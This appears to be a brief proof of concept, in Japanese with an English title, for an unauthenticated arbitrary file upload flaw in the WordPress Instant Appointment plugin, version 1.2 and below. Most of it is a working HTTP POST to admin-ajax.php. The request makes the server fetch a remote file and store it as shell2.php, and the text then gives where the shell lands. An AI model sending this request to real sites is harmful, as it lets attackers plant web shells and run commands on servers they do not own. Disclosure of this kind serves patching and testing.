randomrobbiebf/instant-appointment-arbitrary-file-uploadinstant-appointment - Arbitrary File upload
instant-appointment - 任意ファイルアップロード
WordPress 用の Instant Appointment プラグインは、バージョン 1.2 以下で任意ファイルアップロードの脆弱性の影響を受けます。これにより、未認証の攻撃者がシェルをアップロードしてコマンドを実行することが可能になります。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wp-dev.ddev.site
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Cache-Control: max-age=0
Content-Length: 108
action=add_gallery_to_vendor&user_galerie[0][1]=https://rfi.nessus.org/rfi.txt&user_galerie[0][0]=shell2.php
ファイルは uploads/2025/1/shell2.php に配置されます。